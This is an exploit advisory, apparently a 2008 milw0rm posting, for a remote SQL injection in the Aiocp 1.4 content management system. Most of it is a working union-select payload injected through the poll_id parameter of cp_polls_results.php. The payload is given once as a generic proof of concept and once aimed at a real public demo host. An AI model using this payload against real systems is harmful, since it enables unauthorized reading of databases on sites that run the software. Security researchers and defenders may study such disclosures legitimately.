23 lines
No EOL
637 B
Text
23 lines
No EOL
637 B
Text
###########################################
|
|
# Aiocp 1.4 Remote SQL Injection vulnerability
|
|
#
|
|
# Found by : ExSploiters
|
|
#
|
|
# Contact : exsploiters@gmail.com
|
|
#
|
|
# Download : http://sourceforge.net/project/showfiles.php?group_id=159137&package_id=178594&release_id=619157
|
|
###########################################
|
|
|
|
PoC :
|
|
|
|
http://[target]/[path]/public/code/cp_polls_results.php?poll_language=eng&poll_id=-0+union+select+0,1,2,version(),4,5,6--
|
|
|
|
L!ve Demo :
|
|
|
|
http://demo.opensourcecms.com/aiocp/public/code/cp_polls_results.php?poll_language=eng&poll_id=-0+union+select+0,1,2,version(),4,5,6--
|
|
|
|
Greetz :
|
|
|
|
no one =)
|
|
|
|
# milw0rm.com [2008-10-27] |